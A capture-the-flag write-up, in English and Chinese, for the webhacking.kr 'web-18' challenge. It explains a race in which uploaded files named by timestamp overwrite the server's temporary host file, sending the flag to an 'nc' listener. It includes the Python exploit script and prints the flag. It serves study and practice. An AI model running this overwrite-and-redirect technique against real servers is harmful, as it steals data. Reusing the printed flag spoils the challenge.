Challenge
Redirect the flag-bearing request from the server to a listener under your control.
将携带 flag 的服务端请求重定向到可控的监听端点。
https://webhacking.kr/challenge/web-18/Solution
服务端先创建 tmp/tmp-<time>,写入 127.0.0.1,再根据上传文件名创建同名文件并写入客户端地址。随后服务端从 tmp/tmp-<time> 读取 host,并把 flag 放入请求路径发送到该 host 的 7777 端口。
上传文件名需要与服务端当前秒生成的 tmp/tmp-<time> 对齐,覆盖发生在服务端读取 host 之前。上传请求和监听器应使用同一公网可达地址;监听 7777 后,接收到的请求路径包含 flag。
#!/usr/bin/env python3import time
import requests
URL = "https://webhacking.kr/challenge/web-18/"COOKIE = "<mission-cookie>"
def main() -> None: session = requests.Session() session.cookies.set("PHPSESSID", COOKIE) timestamp = int(time.time())
# 服务端按秒生成 tmp/tmp-<time>,尝试当前秒及相邻秒。 # 上传文件的内容无关紧要;服务端把请求方的 REMOTE_ADDR 写入该文件。 for offset in range(-2, 4): filename = f"tmp-{timestamp + offset}" response = session.post( URL, files={"upfile": (filename, b"probe", "application/octet-stream")}, timeout=10, ) response.raise_for_status()
if __name__ == "__main__": main()题目服务端不会读取上传内容,而是把它看到的 REMOTE_ADDR 写入临时文件。因此监听端点必须是题目服务端可访问的地址;常见做法是在路由器上把公网 7777 端口转发到本机,并从公网可达环境发起请求。仅在本机监听 127.0.0.1:7777 不足以完成利用。
$ nc -nvlp 7777Host 头取自服务端读取的临时文件,flag 位于请求路径中。
FLAG{well…is_it_funny?_i_dont_think_so…}